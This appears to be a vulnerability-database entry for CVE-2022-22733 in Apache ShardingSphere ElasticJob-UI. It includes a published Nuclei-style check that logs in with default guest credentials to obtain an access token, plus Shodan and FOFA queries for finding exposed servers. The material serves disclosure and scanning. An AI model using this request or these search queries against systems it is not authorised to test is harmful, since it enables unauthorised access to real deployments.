CVE-2022-22733: Apache ShardingSphere ElasticJob-UI privilege escalation

日期: 2025-08-01 | 影响软件: Apache ShardingSphere ElasticJob-UI | POC: 已公开

漏洞描述

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache ShardingSphere ElasticJob-UI allows an attacker who has guest account to do privilege escalation. This issue affects Apache ShardingSphere ElasticJob-UI Apache ShardingSphere ElasticJob-UI 3.x version 3.0.0 and prior versions.

PoC代码[已公开]

id: CVE-2022-22733

info:
  name: Apache ShardingSphere ElasticJob-UI privilege escalation
  author: Zeyad Azima
  severity: medium
  description: |
    Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache ShardingSphere ElasticJob-UI allows an attacker who has guest account to do privilege escalation. This issue affects Apache ShardingSphere ElasticJob-UI Apache ShardingSphere ElasticJob-UI 3.x version 3.0.0 and prior versions.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access and control of the ElasticJob-UI application.
  remediation: |
    Apply the latest security patches or updates provided by Apache ShardingSphere to mitigate the privilege escalation vulnerability.
  reference:
    - https://www.vicarius.io/vsociety/blog/cve-2022-22733-apache-shardingsphere-elasticjob-ui-privilege-escalation
    - https://nvd.nist.gov/vuln/detail/CVE-2022-22733
    - https://lists.apache.org/thread/qpdsm936n9bhksb0rzn6bq1h7ord2nm6
    - http://www.openwall.com/lists/oss-security/2022/01/20/2
    - https://github.com/Zeyad-Azima/CVE-2022-22733
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-22733
    cwe-id: CWE-200
    epss-score: 0.86064
    epss-percentile: 0.99355
    cpe: cpe:2.3:a:apache:shardingsphere_elasticjob-ui:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: shardingsphere_elasticjob-ui
    shodan-query: http.favicon.hash:816588900
    fofa-query: icon_hash=816588900
  tags: cve2022,cve,exposure,sharingsphere,apache

http:
  - raw:
      - |
        POST /api/login HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/plain, */*
        Access-Token:
        Content-Type: application/json;charset=UTF-8
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        {"username":"guest","password":"guest"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success":true'
          - '"isGuest":true'
          - '"accessToken":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100debf9950e80fd41ecc5ece8792cdd22d7b7d2248aaf1e7b7c0d39e2143bba74f022046774a8d46011147ca012c88b65e6cb8e4f0e38cc80c1a381838cd75120a0bc5:922c64590222798bb761d5b6d8e72950

相关漏洞推荐